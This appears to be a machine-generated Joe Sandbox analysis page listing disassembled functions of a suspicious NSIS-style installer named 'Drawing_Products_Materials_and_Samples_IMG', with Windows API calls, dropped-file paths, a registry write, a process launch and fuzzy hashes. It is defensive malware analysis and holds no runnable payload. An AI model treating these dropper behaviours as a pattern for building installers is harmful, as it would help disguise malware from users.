Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nsw1382.tmp$C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\konflikttilstandenes\polyautography\crotalid\Urging$Call
API String ID: 1941528284-510131694
Opcode ID: 51b74dc86fef2d0a8eb34d586d240b23fdfd01df71f14a7ce6a4c87c01a6f34f
Instruction ID: 03788365e3babcef373fd792483c9ded1d717f2a290d89539055341019bd814b
Opcode Fuzzy Hash: 51b74dc86fef2d0a8eb34d586d240b23fdfd01df71f14a7ce6a4c87c01a6f34f
Instruction Fuzzy Hash: EC41E771900619BACB10BBA5CC46DAF3979DF46368B20423FF512F10E2D63C9A418A6D

Function 00404E88 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll,00000000,007904A8,007898A8,?,?,?,?,?,?,?,?,?,00402FA6,00000000,?), ref: 00404EC2
lstrlenA.KERNEL32(00402FA6,Skipped: C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll,00000000,007904A8,007898A8,?,?,?,?,?,?,?,?,?,00402FA6,00000000), ref: 00404ED2
lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll,00402FA6,00402FA6,Skipped: C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll,00000000,007904A8,007898A8), ref: 00404EE5
SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll), ref: 00404EF7
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404F1D
SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404F37
SendMessageA.USER32(?,00001013,?,00000000), ref: 00404F45

Strings

Skipped: C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll, xrefs: 00404EA9, 00404EBB, 00404EC1, 00404EE4, 00404EF0

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: Skipped: C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll
API String ID: 2531174081-3193772269
Opcode ID: b9a887e2e8e99461c1e009e2087a00ab7cd4c5483e1e4b6a4f4b237127957641
Instruction ID: eeda2e428bcafe9b1d93ae7103e1ae34f7eca4b660a33a01a12bc20e9bc4de23
Opcode Fuzzy Hash: b9a887e2e8e99461c1e009e2087a00ab7cd4c5483e1e4b6a4f4b237127957641
Instruction Fuzzy Hash: 83218E71900158BADF019FA5CD80EDEBFB5EB45354F14807AFA04B6291C3789A84CFA8

Function 00404E89 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll,00000000,007904A8,007898A8,?,?,?,?,?,?,?,?,?,00402FA6,00000000,?), ref: 00404EC2
lstrlenA.KERNEL32(00402FA6,Skipped: C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll,00000000,007904A8,007898A8,?,?,?,?,?,?,?,?,?,00402FA6,00000000), ref: 00404ED2
lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll,00402FA6,00402FA6,Skipped: C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll,00000000,007904A8,007898A8), ref: 00404EE5
SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll), ref: 00404EF7
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404F1D
SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404F37
SendMessageA.USER32(?,00001013,?,00000000), ref: 00404F45

Strings

Skipped: C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll, xrefs: 00404EA9, 00404EBB, 00404EC1, 00404EE4, 00404EF0

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: Skipped: C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll
API String ID: 2531174081-3193772269
Opcode ID: 2a86b03a512ab473c329acdab3c148d37ff30063bb4f0d383429b9152d604446
Instruction ID: 7724d0d97f022e048e1d2ac042b23dfd392970f5166b6a7179c12b99d94f3706
Opcode Fuzzy Hash: 2a86b03a512ab473c329acdab3c148d37ff30063bb4f0d383429b9152d604446
Instruction Fuzzy Hash: 8B216071900158BBDF019FA5CD80EDEBFB9EB45354F14807AFA44B6291C7789E84CBA8

Function 00402E6C Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 171
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402ECE
GetTickCount.KERNEL32 ref: 00402F55
MulDiv.KERNEL32(7FFFFFFF,?,00000020), ref: 00402F82
wsprintfA.USER32 ref: 00402F92
WriteFile.KERNELBASE(00000000,00000000,007904A8,7FFFFFFF,00000000), ref: 00402FC0

Strings

... %d%%, xrefs: 00402F8C

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: CountTick$FileWritewsprintf
String ID: ... %d%%
API String ID: 4209647438-2449383134
Opcode ID: 6888f4fa9f25908ec1f0c79b91c35943c4fb9507f2198910046352f248b09dd0
Instruction ID: a0ae256f98bbca02c27974cb92508b0609fc84214e278a3d68230cc4162abf99
Opcode Fuzzy Hash: 6888f4fa9f25908ec1f0c79b91c35943c4fb9507f2198910046352f248b09dd0
Instruction Fuzzy Hash: D6519C7190121AABCF10DF69DA48A9E7BB8BB04355F14413BF900B72C4D3789E50DBAA

Function 0040231A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExA.KERNELBASE(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402358
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsw1382.tmp,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 00402378
RegSetValueExA.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsw1382.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023B1
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsw1382.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040248E

Strings

C:\Users\user\AppData\Local\Temp\nsw1382.tmp, xrefs: 00402369, 00402377, 0040238B, 0040239B, 004023A6

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsw1382.tmp
API String ID: 1356686001-3798918962
Opcode ID: 06eb57789b14162b18d235ce7a715208800a1d0dc1c85a09880f26651364c2a2
Instruction ID: c186b2a4276190d5bc678cf3fdc7432ddc4badc979a32f69cf8a69a4641a35af
Opcode Fuzzy Hash: 06eb57789b14162b18d235ce7a715208800a1d0dc1c85a09880f26651364c2a2
Instruction Fuzzy Hash: 3E116071E00208BFEB10EFB5CE89EAF7A78EB44358F10403AF905B71D1D6B85D419A69

Function 004015B3 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004056C2: CharNextA.USER32(?,?,Grundsprogs.but,?,0040572E,Grundsprogs.but,Grundsprogs.but,?,?,773E3410,00405479,?,C:\Users\user\AppData\Local\Temp\,773E3410,00000000), ref: 004056D0
Part of subcall function 004056C2: CharNextA.USER32(00000000), ref: 004056D5
Part of subcall function 004056C2: CharNextA.USER32(00000000), ref: 004056E9

CreateDirectoryA.KERNELBASE(00000000,?,00000000,?,00000000,?), ref: 004015DB
GetLastError.KERNEL32(?,00000000,?,00000000,?), ref: 004015E5
GetFileAttributesA.KERNELBASE(00000000,?,00000000,?,00000000,?), ref: 004015F3
SetCurrentDirectoryA.KERNELBASE(00000000,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\konflikttilstandenes\polyautography\crotalid\Urging,00000000,00000000,?), ref: 00401622

Strings

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\konflikttilstandenes\polyautography\crotalid\Urging, xrefs: 00401617

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentErrorFileLast
String ID: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\konflikttilstandenes\polyautography\crotalid\Urging
API String ID: 3751793516-2495297767
Opcode ID: abddc800633dd95d775d80f783ae593f51e4c76b4448ee96aca239786a011afb
Instruction ID: f6d043a697dbba063d8ca4a6451cbbc07de469f39b9323e3bb4b0ee781e04bf7
Opcode Fuzzy Hash: abddc800633dd95d775d80f783ae593f51e4c76b4448ee96aca239786a011afb
Instruction Fuzzy Hash: 9F115531908140ABDB207F745C04DBF3BB0EA66366724073FF491B22E2C63C0942862E

Function 100016DA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118COMMON

Download Yara Rule

APIs

Part of subcall function 10001A86: GlobalFree.KERNEL32(?), ref: 10001CCE
Part of subcall function 10001A86: GlobalFree.KERNEL32(?), ref: 10001CD3
Part of subcall function 10001A86: GlobalFree.KERNEL32(?), ref: 10001CD8

GlobalFree.KERNEL32(00000000), ref: 10001785
FreeLibrary.KERNEL32(?), ref: 100017FC
GlobalFree.KERNEL32(00000000), ref: 10001821

Part of subcall function 10002165: GlobalAlloc.KERNEL32(?,8A470175), ref: 10002197

Part of subcall function 10002540: GlobalAlloc.KERNEL32(?,?,?,?,00000000,?,?,?,?,10001756,00000000), ref: 100025B2

Part of subcall function 10001576: lstrcpyA.KERNEL32(00000000,?,00000000,100016B2,00000000), ref: 1000158F

Part of subcall function 1000236D: wsprintfA.USER32 ref: 100023D2
Part of subcall function 1000236D: GlobalFree.KERNEL32(?), ref: 1000248E
Part of subcall function 1000236D: GlobalFree.KERNEL32(00000000), ref: 100024B7

Strings

, xrefs: 10001802

Memory Dump Source

Source File: 00000000.00000002.17896186253.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.17896153967.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.17896219730.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.17896248787.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpywsprintf
String ID:
API String ID: 1767494692-3916222277
Opcode ID: 0952c09c6252a8ba46cc4746145f3c2b250c4692183d3e2bc8c66cf4bd3bffc0
Instruction ID: a4822a2f56843d2abdfa94b6917cafe90cab4d4c428c41a0756c8854a89f2b82
Opcode Fuzzy Hash: 0952c09c6252a8ba46cc4746145f3c2b250c4692183d3e2bc8c66cf4bd3bffc0
Instruction Fuzzy Hash: 3131AD759046059AFB41EF249CC9BDA37ECFF052D0F00C029FA09AA09EDF7499458BA0

Function 00401BB8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutA.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C18
SendMessageA.USER32(00000000,00000000,?,?), ref: 00401C30

Strings

!, xrefs: 00401BEC

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 3698ce71db31f8b469170a2b9811606ddb50db903b10dbb8916321b005f99d26
Instruction ID: 12ae1f52ecf524c97be6b8063d2fdb139482407b097923a357ceac7fbdf5fe65
Opcode Fuzzy Hash: 3698ce71db31f8b469170a2b9811606ddb50db903b10dbb8916321b005f99d26
Instruction Fuzzy Hash: 43219271A44248AFEF01AFB4CD8AAAE7FB5EF44348F14443EF501B61E1D6B95940DB18

Function 00401F68 Relevance: 6.1, APIs: 4, Instructions: 73libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNELBASE(00000000,00000001,?), ref: 00401F93

Part of subcall function 00404E89: lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll,00000000,007904A8,007898A8,?,?,?,?,?,?,?,?,?,00402FA6,00000000,?), ref: 00404EC2
Part of subcall function 00404E89: lstrlenA.KERNEL32(00402FA6,Skipped: C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll,00000000,007904A8,007898A8,?,?,?,?,?,?,?,?,?,00402FA6,00000000), ref: 00404ED2
Part of subcall function 00404E89: lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll,00402FA6,00402FA6,Skipped: C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll,00000000,007904A8,007898A8), ref: 00404EE5
Part of subcall function 00404E89: SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll), ref: 00404EF7
Part of subcall function 00404E89: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404F1D
Part of subcall function 00404E89: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404F37
Part of subcall function 00404E89: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404F45

LoadLibraryExA.KERNELBASE(00000000,?,?,00000001,?), ref: 00401FA3
GetProcAddress.KERNEL32(00000000,?), ref: 00401FB3
FreeLibrary.KERNELBASE(00000000,00000000,000000F7,?,?,?,00000001,?), ref: 0040201D

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
String ID:
API String ID: 2987980305-0
Opcode ID: bdca3eef77b93f5fb18ef256b874c04e122c56b6ebb898da6ec56c274ac8ae3c
Instruction ID: 5603d6e3752352f3426b9f4474974a0af609082b15338ddd0508423665d33cd5
Opcode Fuzzy Hash: bdca3eef77b93f5fb18ef256b874c04e122c56b6ebb898da6ec56c274ac8ae3c
Instruction Fuzzy Hash: B3210072D04315ABCF207F64CE49A6F79B0AF45358F20423BF601B62D1D7BD49419A5E

Function 004024CF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34filestringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000011), ref: 004024ED
WriteFile.KERNELBASE(00000000,?,C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll,00000000,?,?,00000000,00000011), ref: 0040250C

Strings

C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll, xrefs: 004024DB, 00402500

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000780000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877583006.00000000007BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17878252319.00000000007C0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Drawing_Products_Materials_and_Samples_IMG.jbxd

Similarity

API ID: FileWritelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll
API String ID: 427699356-1718671170
Opcode ID: f563f17a0cef2154c02f78be3d8b886d91b2262862f67175609af4916b2f3259
Instruction ID: 6a42f5992006efeb6b2b1e3b7836ad9eb28beba8801b06696a3c4cf9cb3ed08d
Opcode Fuzzy Hash: f563f17a0cef2154c02f78be3d8b886d91b2262862f67175609af4916b2f3259
Instruction Fuzzy Hash: ADF0E272A44241BFDB00EBA09E4AAAF7768DB01308F10843FB101F50C2D5FC9A41AB2D

Function 0040534C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,007A0500,Error launching installer), ref: 00405371
CloseHandle.KERNEL32(?), ref: 0040537E

Strings

Error launching installer, xrefs: 0040535F

Memory Dump Source

Source File: 00000000.00000002.17877442021.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.17877363104.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.17877524726.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
